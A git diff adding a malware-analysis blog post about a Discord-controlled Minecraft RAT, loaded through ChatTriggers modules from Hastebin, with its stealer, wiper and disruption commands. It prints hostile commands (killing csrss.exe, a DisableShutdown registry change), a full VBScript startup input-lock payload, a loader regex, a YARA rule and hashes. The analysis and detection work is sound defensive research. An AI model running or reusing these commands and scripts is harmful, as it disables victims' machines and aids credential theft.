|
| 1 | +--- |
| 2 | +title: Just Another Minecraft RAT |
| 3 | +categories: |
| 4 | + - Research |
| 5 | +tags: |
| 6 | + - blog |
| 7 | + - stealer |
| 8 | + - wiper |
| 9 | + - rat |
| 10 | + - minecraft |
| 11 | + - research |
| 12 | +date: 2025-07-10 |
| 13 | +description: Cause why install just mods? |
| 14 | +author: slavetomints |
| 15 | +--- |
| 16 | +>In this blog post, we will discuss malware and malicious software. There will be screenshots of the code, as well as small snippets of the things that it does. It is your responsibility not to run the code or snippets, as they will have real-life implications for the security of your system. This is for educational purposes only, and we are not liable for what you do with your computers. |
| 17 | +{: .prompt-danger } |
| 18 | + |
| 19 | +## Introduction |
| 20 | +### What is Discord? |
| 21 | +Discord is a social media platform where its users can message, call, and share memes and other media[^1]. This all takes place on various servers, which are virtual communities. Servers on Discord can either be kept private for just a few friends or made public for everyone in the world to join and see. The most appealing part of all of this is that it is free; you do not need to pay any money (as of writing) to access public and private servers and enjoy them. |
| 22 | + |
| 23 | +### What is a Discord Bot? |
| 24 | +Another feature of Discord is bots. Bots are more or less little programs that you can interface with on the app. In some servers, they can perform tasks such as searching through documentation to find the right help article, other times they can play simple games with users, or even just roll a dice[^2][^3]. Many times, bots are used in order to help with moderating the server to lighten the load on the admins. |
| 25 | + |
| 26 | +## Why Discord? |
| 27 | +Ever since Discord has exploded in popularity because of the COVID-19 lockdowns [^4], there's been a rise in the usage of Discord for malicious purposes[^5][^6][^7]. The malware sample this post covers uses a Discord bot to execute commands and exfiltrate information from the victim's computer. The exfiltrated information is then sent to a Discord server controlled by the attackers so that they can organize and act upon the information. Discord is free, making it an appealing choice for attackers looking to avoid hosting costs or using their hardware. Telegram is also used in this way. |
| 28 | + |
| 29 | +Now that we've established Discord's role in the infrastructure of the attack, let's examine how the malware works. |
| 30 | + |
| 31 | +## Infection Vector |
| 32 | +The `ogdelete` command is supposed to "Remove[s] the injector script from the file it was injected into." The command uses the following regular expression to search through the Minecraft modules directory: |
| 33 | +``` |
| 34 | +/Function\s*$$ .*?FileLib\s*\.\s*getUrlContent\s*\(\s*['"]https:\/\/hst\.sh\/raw\/[^'"]+['"]\s* $$.*?\)\s*$$ \s* $$\s*;/ |
| 35 | +``` |
| 36 | + |
| 37 | +With this, there are two pretty interesting strings in the expression. First, it appears to be searching for a string similar to `FileLib.getUrlContent("https://hst.sh/raw/abc123")`. `hst.sh` is the domain for `Hastebin`, the "prettiest, easiest to use pastebin ever made."[^12] They allow anyone to anonymously upload code to their site and access it from there. Secondly, the `FileLib.getUrlContent` seems to come from ChatTriggers, a framework for Minecraft Forge that allows for mods to be written in languages such as JavaScript.[^13][^14] This coincides with how the malware targets other ChatTriggers modules in the `modules` and `modulespath` commands. The documentation for the function can be found [here](https://chattriggers.com/javadocs/-chat-triggers/com.chattriggers.ctjs.minecraft.libs/-file-lib/get-url-content.html). |
| 38 | + |
| 39 | +What this likely means is that the loader is in a malicious ChatTriggers module, which, when executed on the victim's PC, reaches out to a Hastebin post and downloads it, then runs the code. This, along with the fact that the sample was originally encountered via a Hastebin link, solidifies the theory that this sample is retrieved by `FileLib.getUrlContent`. The `ogdelete` command then attempts to hide this loader. |
| 40 | + |
| 41 | +Now that we understand how the malware is deployed, let's look at what it can do on the system. |
| 42 | +## Functionalities |
| 43 | +### Persistence |
| 44 | +This malware gains persistence via a batch script located at `\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mc_persist.bat` in the specific user's directory. While the malware includes a command to turn off persistence, it does not include any commands to enable it. |
| 45 | + |
| 46 | + |
| 47 | + |
| 48 | +We also see some persistence in the `inputblock` command, which we'll dive into further later in the article. |
| 49 | + |
| 50 | +### Infostealing |
| 51 | +The main function of the malware is its ability to steal information from the victim. After the bot steals the information, it sends it back to a Discord server for the attackers to view. |
| 52 | + |
| 53 | +- The `getdiscord` command extracts the `Local Storage` and `Session Storage` directories from the victim's computer and sends them back to the Discord server. The `Local Storage` directory is a LevelDB database containing the Discord account token, a sensitive credential that can be used to impersonate the user.[^10] |
| 54 | +- The `detectbrowsers` command just checks to see if the user has one or more of the following browsers installed: Chrome, Opera GX, Firefox, Microsoft Edge, Safari, and Brave. |
| 55 | +- `getlogincookies` does exactly as the name implies. Interestingly enough, it supports more browsers than the `detectbrowsers` command. It includes all of those browsers as well as Vivaldi. For the Chromium browsers, it zips and exfiltrates the `Local State` file, and the `Cookies`, `History`, and `Browser Data` files. |
| 56 | +- The `info` command exfiltrates the following data from the victim's system: |
| 57 | + - Minecraft Username |
| 58 | + - IP Address |
| 59 | + - Location |
| 60 | + - City |
| 61 | + - Region |
| 62 | + - Country |
| 63 | + - Latitude |
| 64 | + - Longitude |
| 65 | + - Minecraft Modules Folder |
| 66 | + - OS Name |
| 67 | + - OS Version |
| 68 | + - OS Architecture |
| 69 | + - Minecraft SSID |
| 70 | + - Minecraft UUID |
| 71 | + - Wi-Fi SSID |
| 72 | + - Wi-Fi Type |
| 73 | +- The `netstat` command runs `netstat -an` on the victim's machine and sends back the information |
| 74 | +- The `sysinfo` command exfiltrates the following data from the victim's system: |
| 75 | + - OS Name |
| 76 | + - OS Version |
| 77 | + - OS Architecture |
| 78 | + - Java Version |
| 79 | + - Total Memory |
| 80 | + - Free Memory |
| 81 | + - Processors |
| 82 | +- The `screenshot` command takes a screenshot of the screen and sends it back as a `.png` file. |
| 83 | +- `location` uses [https://api.ipify.org/?format=json](https://api.ipify.org/?format=json) to get the victim's IP address, and then subsequently uses that IP address to make a request to [http://ip-api.com/json/](http://ip-api.com/json/), which returns a multitude of information. The following information is sent back to the attacker: |
| 84 | + - City |
| 85 | + - Region |
| 86 | + - Country |
| 87 | + - Latitude |
| 88 | + - Longitude |
| 89 | +- The `exfiltrate` command can do a few things: |
| 90 | + - First, it checks the Minecraft mod/modules folder for specific targets. If a match is found, the mod or module is zipped and sent back to the attacker. |
| 91 | + - It can steal browser cookies by using the same function as the`getlogincookies` command. |
| 92 | + - Finally, the command can exfiltrate data from the following Minecraft client launchers: |
| 93 | + - Default Minecraft Launcher |
| 94 | + - [Prism Launcher](https://prismlauncher.org/) |
| 95 | + - [MultiMC](https://multimc.org/) |
| 96 | + - [Feather Client](https://feathermc.com/) |
| 97 | + - [Badlion Client](https://www.badlion.net/minecraft-client) |
| 98 | + |
| 99 | +In addition to being an infostealer, the malware has several other destructive capabilities. |
| 100 | +### Wiping |
| 101 | +- `diskwipe`. This command attempts to wipe the entire `C:` drive recursively. |
| 102 | + |
| 103 | +### Trolling |
| 104 | +- `crashpc` - This command runs `taskkill /F /IM csrss.exe`. `csrss.exe` is the server side of the Win32 subsystem, and is therefore considered a critical system process[^11]. After deleting this process, the computer will become unstable and potentially unusable until it is rebooted. |
| 105 | +- `freeze` - This command doesn't appear to function as intended, as all it does is spawn a new thread and indefinitely freeze it, without touching any of the other threads. |
| 106 | +- `audiospam` appears to simply play audio on a loop, annoying the victim |
| 107 | +- `gpuoverload` uses the Minecraft thread and overloads the GPU with an extreme workload, causing gameplay issues and possibly even damaging the GPU. The authors even mention in the help menu to "`be careful and dont run this to many times`". |
| 108 | +- `inputblock` does a few things |
| 109 | + - First, it creates a new thread that moves the cursor far off-screen in an infinite loop. |
| 110 | + - Then it adds a registry key by running `reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v DisableShutdown /t REG_DWORD /d 1 /f` to prevent the user from shutting down the PC from within Windows, but the user can still pull the plug or use the power button to shut down. |
| 111 | + - After running that, it adds [this](#input_lockvbs) Visual Basic script named `input_lock.vbs` to the Startup folder. It contains code that executes the same functionality as seen earlier, but now it is run upon startup. |
| 112 | + - Finally, it spawns another thread which runs `taskkill /F /IM shutdown.exe` in an infinite loop. This is another attempt to prevent the shutdown command from executing by forcefully ending it before it can finish executing. |
| 113 | + |
| 114 | +### Other RAT Functions |
| 115 | +- `ogdelete` - This command searches in the Minecraft modules directory for a JavaScript file whose content matches a regex looking for the injector script in an attempt to hide part of the infection vector. If it finds the injector script, it removes it from the file. |
| 116 | +- `runhst` will download and run a script from `hst.sh`, using a URL passed as an argument. |
| 117 | +- `disconnect` disconnects the bot. |
| 118 | + |
| 119 | +### Minecraft Specific Functionalities |
| 120 | + |
| 121 | +This malware was made for Minecraft users, so in addition to general system control, it includes several Minecraft-specific features. |
| 122 | + |
| 123 | +- The `users` command sends back the usernames of all players connected to the world. |
| 124 | +- The `stealfme` and `stealoringo` commands target the Minecraft configuration directory, looking for the `FunnyMapExtras`[^8] and `Oringoclient`[^9] cheats. If the cheat is in the config directory, its config file gets compressed into a zip file and sent back to the Discord server as an attachment for the attackers to download. |
| 125 | +- `ssid` sends back the session ID of the client |
| 126 | +- `uuid` sends back the UUID |
| 127 | +- `modulespath` sends back the path to the Minecraft modules folder. |
| 128 | +- `accounts` sends back the path to the following Minecraft launchers: |
| 129 | + - Default Minecraft Launcher |
| 130 | + - [Prism Launcher](https://prismlauncher.org/) |
| 131 | + - [MultiMC](https://multimc.org/) |
| 132 | + - [Feather Client](https://feathermc.com/) |
| 133 | + - [Badlion Client](https://www.badlion.net/minecraft-client) |
| 134 | +- `modules` scrapes the modules folder and sends back a message with all modules found. |
| 135 | +- `mods` scrapes the mods folder and sends back a message with all the mods installed. |
| 136 | +- `crashgame` runs the `shutdown` function for Minecraft in an infinite loop. |
| 137 | +- `logout` deletes `launcher_accounts.json` from the Minecraft folder, forcing the user to log back in to the launcher upon next startup. |
| 138 | + |
| 139 | +## Extra Bits and Pieces |
| 140 | +- There is a simulation mode that is toggled with the commands `!sim on` or `!sim off`. If simulation mode is enabled, none of the commands will work, and it instead sends back `Simulating [Command name]`. This is likely for testing and debugging the bot before running the commands. |
| 141 | +- These are the help commands: |
| 142 | + - `commandhelp`, which gives a basic overview of each of the commands |
| 143 | + - `cookiehelp`, which gives a step-by-step guide on how to exploit stolen cookies |
| 144 | + - `logincookiehelp`, which explains how to stay secure if you suspect you've been a victim. An interesting thing to include in this program. |
| 145 | + |
| 146 | +### YARA Detection Rule |
| 147 | + |
| 148 | +``` |
| 149 | +rule MinecraftRat |
| 150 | +{ |
| 151 | + meta: |
| 152 | + description = "Detects known RAT based on Discord and ChatTriggers behavior" |
| 153 | + author = "DeTraced Security" |
| 154 | + reference = "https://detraced.org" |
| 155 | + strings: |
| 156 | + $url = "hst.sh/raw/" |
| 157 | + $regkey = "DisableShutdown" |
| 158 | + $vbscript = "{CAPSLOCK}" |
| 159 | + $powershell = "SetCursorPos" |
| 160 | + condition: |
| 161 | + all of them |
| 162 | +} |
| 163 | +``` |
| 164 | +{: file="rule.yara" } |
| 165 | + |
| 166 | +### Hashes |
| 167 | + |
| 168 | +| Algorithm | Hash Value | |
| 169 | +| --------- | -------------------------------------------------------------------------------------------------------------------------------- | |
| 170 | +| MD5 | df9a2e2d8dcb8c8599ed3d9b64a96c9c | |
| 171 | +| SHA-1 | 56e71cbcac7562ed0fc3ceadbfb79b5ab6ef230e | |
| 172 | +| SHA-224 | 6ae3e04b0dfa8f6000a75cb479a347b0f473a4b33097ddedb2ab1293 | |
| 173 | +| SHA-256 | f07018649beabceb8e67a13964e132f21638c1878c2259390320ca8fb4a145a6 | |
| 174 | +| SHA-384 | 4f0eab97c9b329270a1517025d1c85fb591603fc45acca478ad3ec1e0e0c99301ea410949c072200d3334bd273aad9f1 | |
| 175 | +| SHA-512 | 1f7c732e6903fabf985fafe90b628c4dcd5b96b92807b83420b8d1bab4de91267508e33ca0ad1402ba200159a2d8c411227fd9265a5ae3b779318f9928bce3b8 | |
| 176 | + |
| 177 | + |
| 178 | +### input_lock.vbs |
| 179 | +```vb |
| 180 | +Set WShell = CreateObject("WScript.Shell") |
| 181 | + |
| 182 | +While True |
| 183 | + WShell.SendKeys "{CAPSLOCK}" |
| 184 | + WShell.Run "powershell -Command \\"Add-Type -TypeDefinition 'using System; using System.Runtime.InteropServices; public class Mouse { [DllImport(\\\\\\"user32.dll\\\\\\")] public static extern bool SetCursorPos(int X, int Y); }'; [Mouse]::SetCursorPos(-999999, -999999)\\"", 0, False |
| 185 | + WScript.Sleep 1 |
| 186 | +Wend |
| 187 | + |
| 188 | +``` |
| 189 | +{: file="input_lock.vbs" } |
| 190 | + |
| 191 | +## Conclusion |
| 192 | +This malware shows the capabilities hackers have by utilizing free infrastructure like Discord and Hastebin. RATs have become increasingly common in the Minecraft modding community, with projects like [Is This a RAT?](https://isthisarat.com) and [RatRater](https://ktibow.github.io/RatRater/) being used to help users find if the mod they downloaded is a RAT. Nonetheless, this malware highlights the dangers of downloading untrustworthy mods and running them with your game. |
| 193 | + |
| 194 | +## References |
| 195 | + |
| 196 | +[^1]: https://en.wikipedia.org/wiki/Discord |
| 197 | + |
| 198 | +[^2]: https://en.wikipedia.org/wiki/Discord#Developer_tools_and_bots |
| 199 | + |
| 200 | +[^3]: https://docs.statbot.net/docs/guide/bot/ |
| 201 | + |
| 202 | +[^4]: https://yoyofumedia.com/rise-of-discord/ |
| 203 | + |
| 204 | +[^5]: https://www.techradar.com/news/this-nasty-trojan-uses-discord-as-a-command-and-control-server |
| 205 | + |
| 206 | +[^6]: https://thehackernews.com/2024/01/ns-stealer-uses-discord-bots-to.html |
| 207 | + |
| 208 | +[^7]: https://www.ibm.com/think/x-force/self-checkout-discord-c2 |
| 209 | + |
| 210 | +[^8]: https://github.com/Harry282/FunnyMap |
| 211 | + |
| 212 | +[^9]: https://skyblockmods.net/mods/oringo-client |
| 213 | + |
| 214 | +[^10]: https://www.clrn.org/what-to-do-if-someone-has-your-discord-token/ |
| 215 | + |
| 216 | +[^11]: https://www.howtogeek.com/321581/what-is-client-server-runtime-process-csrss.exe-and-why-is-it-running-on-my-pc/ |
| 217 | + |
| 218 | +[^12]: https://hst.sh/about.md |
| 219 | + |
| 220 | +[^13]: https://chattriggers.com/slate/#introduction |
| 221 | + |
| 222 | +[^14]: https://chattriggers.com/javadocs/-chat-triggers/com.chattriggers.ctjs.minecraft.libs/-file-lib/get-url-content.html |
0 commit comments